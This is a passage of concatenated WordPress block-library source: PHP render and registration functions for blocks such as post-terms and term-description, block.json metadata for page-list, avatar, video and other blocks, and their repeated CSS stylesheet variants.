		foreach ( $handles as $handle ) {
			wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) );
		}
		$are_styles_enqueued = true;
	}
}

/**
 * Ensures backwards compatibility for any users running the Gutenberg plugin
 * who have used Post Comments before it was merged into Comments Query Loop.
 *
 * The same approach was followed when core/query-loop was renamed to
 * core/post-template.
 *
 * @see https://github.com/WordPress/gutenberg/pull/41807
 * @see https://github.com/WordPress/gutenberg/pull/32514
 */
function register_legacy_post_comments_block() {
	$registry = WP_Block_Type_Registry::get_instance();

	/*
	 * Remove the old `post-comments` block if it was already registered, as it
	 * is about to be replaced by the type defined below.
	 */
	if ( $registry->is_registered( 'core/post-comments' ) ) {
		unregister_block_type( 'core/post-comments' );
	}

	// Recreate the legacy block metadata.
	$metadata = array(
		'name'              => 'core/post-comments',
		'category'          => 'theme',
		'attributes'        => array(
			'textAlign' => array(
				'type' => 'string',
			),
		),
		'uses_context'      => array(
			'postId',
			'postType',
		),
		'supports'          => array(
			'html'       => false,
			'align'      => array( 'wide', 'full' ),
			'typography' => array(
				'fontSize'                      => true,
				'lineHeight'                    => true,
				'__experimentalFontStyle'       => true,
				'__experimentalFontWeight'      => true,
				'__experimentalLetterSpacing'   => true,
				'__experimentalTextTransform'   => true,
				'__experimentalDefaultControls' => array(
					'fontSize' => true,
				),
			),
			'color'      => array(
				'gradients'                     => true,
				'link'                          => true,
				'__experimentalDefaultControls' => array(
					'background' => true,
					'text'       => true,
				),
			),
			'inserter'   => false,
		),
		'style'             => array(
			'wp-block-post-comments',
			'wp-block-buttons',
			'wp-block-button',
		),
		'render_callback'   => 'render_block_core_comments',
		'skip_inner_blocks' => true,
	);

	/*
	 * Filters the metadata object, the same way it's done inside
	 * `register_block_type_from_metadata()`. This applies some default filters,
	 * like `_wp_multiple_block_styles`, which is required in this case because
	 * the block has multiple styles.
	 */
	/** This filter is documented in wp-includes/blocks.php */
	$metadata = apply_filters( 'block_type_metadata', $metadata );

	register_block_type( 'core/post-comments', $metadata );
}
add_action( 'init', 'register_legacy_post_comments_block', 21 );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/page-list",
	"title": "Page List",
	"category": "widgets",
	"allowedBlocks": [ "core/page-list-item" ],
	"description": "Display a list of all pages.",
	"keywords": [ "menu", "navigation" ],
	"textdomain": "default",
	"attributes": {
		"parentPageID": {
			"type": "integer",
			"default": 0
		},
		"isNested": {
			"type": "boolean",
			"default": false
		}
	},
	"usesContext": [
		"textColor",
		"customTextColor",
		"backgroundColor",
		"customBackgroundColor",
		"overlayTextColor",
		"customOverlayTextColor",
		"overlayBackgroundColor",
		"customOverlayBackgroundColor",
		"fontSize",
		"customFontSize",
		"showSubmenuIcon",
		"style",
		"openSubmenusOnClick"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-page-list-editor",
	"style": "wp-block-page-list"
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}<?php
/**
 * Server-side rendering of the `core/post-terms` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-terms` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post terms for the current post wrapped inside "a" tags.
 */
function render_block_core_post_terms( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) || ! isset( $attributes['term'] ) ) {
		return '';
	}

	if ( ! is_taxonomy_viewable( $attributes['term'] ) ) {
		return '';
	}

	$post_terms = get_the_terms( $block->context['postId'], $attributes['term'] );
	if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) {
		return '';
	}

	$classes = array( 'taxonomy-' . $attributes['term'] );
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator'];

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	$prefix = "<div $wrapper_attributes>";
	if ( isset( $attributes['prefix'] ) && $attributes['prefix'] ) {
		$prefix .= '<span class="wp-block-post-terms__prefix">' . $attributes['prefix'] . '</span>';
	}

	$suffix = '</div>';
	if ( isset( $attributes['suffix'] ) && $attributes['suffix'] ) {
		$suffix = '<span class="wp-block-post-terms__suffix">' . $attributes['suffix'] . '</span>' . $suffix;
	}

	return get_the_term_list(
		$block->context['postId'],
		$attributes['term'],
		wp_kses_post( $prefix ),
		'<span class="wp-block-post-terms__separator">' . esc_html( $separator ) . '</span>',
		wp_kses_post( $suffix )
	);
}

/**
 * Returns the available variations for the `core/post-terms` block.
 *
 * @return array The available variations for the block.
 */
function block_core_post_terms_build_variations() {
	$taxonomies = get_taxonomies(
		array(
			'publicly_queryable' => true,
			'show_in_rest'       => true,
		),
		'objects'
	);

	// Split the available taxonomies to `built_in` and custom ones,
	// in order to prioritize the `built_in` taxonomies at the
	// search results.
	$built_ins         = array();
	$custom_variations = array();

	// Create and register the eligible taxonomies variations.
	foreach ( $taxonomies as $taxonomy ) {
		$variation = array(
			'name'        => $taxonomy->name,
			'title'       => $taxonomy->label,
			'description' => sprintf(
				/* translators: %s: taxonomy's label */
				__( 'Display a list of assigned terms from the taxonomy: %s' ),
				$taxonomy->label
			),
			'attributes'  => array(
				'term' => $taxonomy->name,
			),
			'isActive'    => array( 'term' ),
			'scope'       => array( 'inserter', 'transform' ),
		);
		// Set the category variation as the default one.
		if ( 'category' === $taxonomy->name ) {
			$variation['isDefault'] = true;
		}
		if ( $taxonomy->_builtin ) {
			$built_ins[] = $variation;
		} else {
			$custom_variations[] = $variation;
		}
	}

	return array_merge( $built_ins, $custom_variations );
}

/**
 * Registers the `core/post-terms` block on the server.
 */
function register_block_core_post_terms() {
	register_block_type_from_metadata(
		__DIR__ . '/post-terms',
		array(
			'render_callback'    => 'render_block_core_post_terms',
			'variation_callback' => 'block_core_post_terms_build_variations',
		)
	);
}
add_action( 'init', 'register_block_core_post_terms' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/avatar",
	"title": "Avatar",
	"category": "theme",
	"description": "Add a user’s avatar.",
	"textdomain": "default",
	"attributes": {
		"userId": {
			"type": "number"
		},
		"size": {
			"type": "number",
			"default": 96
		},
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"usesContext": [ "postType", "postId", "commentId" ],
	"supports": {
		"html": false,
		"align": true,
		"alignWide": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"__experimentalSkipSerialization": true,
			"radius": true,
			"width": true,
			"color": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true
			}
		},
		"color": {
			"text": false,
			"background": false,
			"__experimentalDuotone": "img"
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"selectors": {
		"border": ".wp-block-avatar img"
	},
	"editorStyle": "wp-block-avatar-editor",
	"style": "wp-block-avatar"
}
.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/home-link",
	"category": "design",
	"parent": [ "core/navigation" ],
	"title": "Home Link",
	"description": "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [
		"textColor",
		"customTextColor",
		"backgroundColor",
		"customBackgroundColor",
		"fontSize",
		"customFontSize",
		"style"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-home-link-editor",
	"style": "wp-block-home-link"
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-excerpt",
	"title": "Excerpt",
	"category": "theme",
	"description": "Display the excerpt.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"moreText": {
			"type": "string"
		},
		"showMoreOnNewLine": {
			"type": "boolean",
			"default": true
		},
		"excerptLength": {
			"type": "number",
			"default": 55
		}
	},
	"usesContext": [ "postId", "postType", "queryId" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-post-excerpt-editor",
	"style": "wp-block-post-excerpt"
}
.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}:where(.wp-block-post-excerpt){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}:where(.wp-block-post-excerpt){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/pattern",
	"title": "Pattern placeholder",
	"category": "theme",
	"description": "Show a block pattern.",
	"supports": {
		"html": false,
		"inserter": false,
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"textdomain": "default",
	"attributes": {
		"slug": {
			"type": "string"
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/video",
	"title": "Video",
	"category": "media",
	"description": "Embed a video from your media library or upload a new one.",
	"keywords": [ "movie" ],
	"textdomain": "default",
	"attributes": {
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "autoplay"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"__experimentalRole": "content"
		},
		"controls": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "controls",
			"default": true
		},
		"id": {
			"type": "number",
			"__experimentalRole": "content"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "loop"
		},
		"muted": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "muted"
		},
		"poster": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "poster"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "preload",
			"default": "metadata"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "src",
			"__experimentalRole": "content"
		},
		"playsInline": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "playsinline"
		},
		"tracks": {
			"__experimentalRole": "content",
			"type": "array",
			"items": {
				"type": "object"
			},
			"default": []
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-video-editor",
	"style": "wp-block-video"
}
.wp-block-video figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video figcaption{
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.wp-block-video figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video figcaption{
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:#ffffffa6}.wp-block-video{margin:0 0 1em}.wp-block-video.wp-block-video.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{
  transition:none;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.editor-video-poster-control .components-base-control__label{
  display:block;
}
.editor-video-poster-control .components-button{
  margin-left:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-right:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  padding:0;
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{
  padding:12px;
}.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:#ffffffa6}.wp-block-video{margin:0 0 1em}.wp-block-video.wp-block-video.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{
  transition:none;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.editor-video-poster-control .components-base-control__label{
  display:block;
}
.editor-video-poster-control .components-button{
  margin-right:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-left:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  padding:0;
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{
  padding:12px;
}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}<?php
/**
 * Server-side rendering of the `core/term-description` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/term-description` block on the server.
 *
 * @param array $attributes Block attributes.
 *
 * @return string Returns the description of the current taxonomy term, if available
 */
function render_block_core_term_description( $attributes ) {
	$term_description = '';

	if ( is_category() || is_tag() || is_tax() ) {
		$term_description = term_description();
	}

	if ( empty( $term_description ) ) {
		return '';
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return '<div ' . $wrapper_attributes . '>' . $term_description . '</div>';
}

/**
 * Registers the `core/term-description` block on the server.
 */
function register_block_core_term_description() {
	register_block_type_from_metadata(
		__DIR__ . '/term-description',
		array(
			'render_callback' => 'render_block_core_term_description',
		)
	);
}
add_action( 'init', 'register_block_core_term_description' );
<?php
/**
 * Server-side rendering of the `core/post-author-biography` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-author-biography` block on the server.
 *
 * @param  array    $attributes Block attributes.
 * @param  string   $content    Block default content.
 * @param  WP_Block $block      Block instance.
 * @return string Returns the rendered post author biography block.
 */
function render_block_core_post_author_biography( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$author_id = get_post_field( 'post_author', $block->context['postId'] );
	if ( empty( $author_id ) ) {
		return '';
	}

	$author_biography = get_the_author_meta( 'description', $author_id );
	if ( empty( $author_biography ) ) {
		return '';
	}

	$align_class_name   = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );

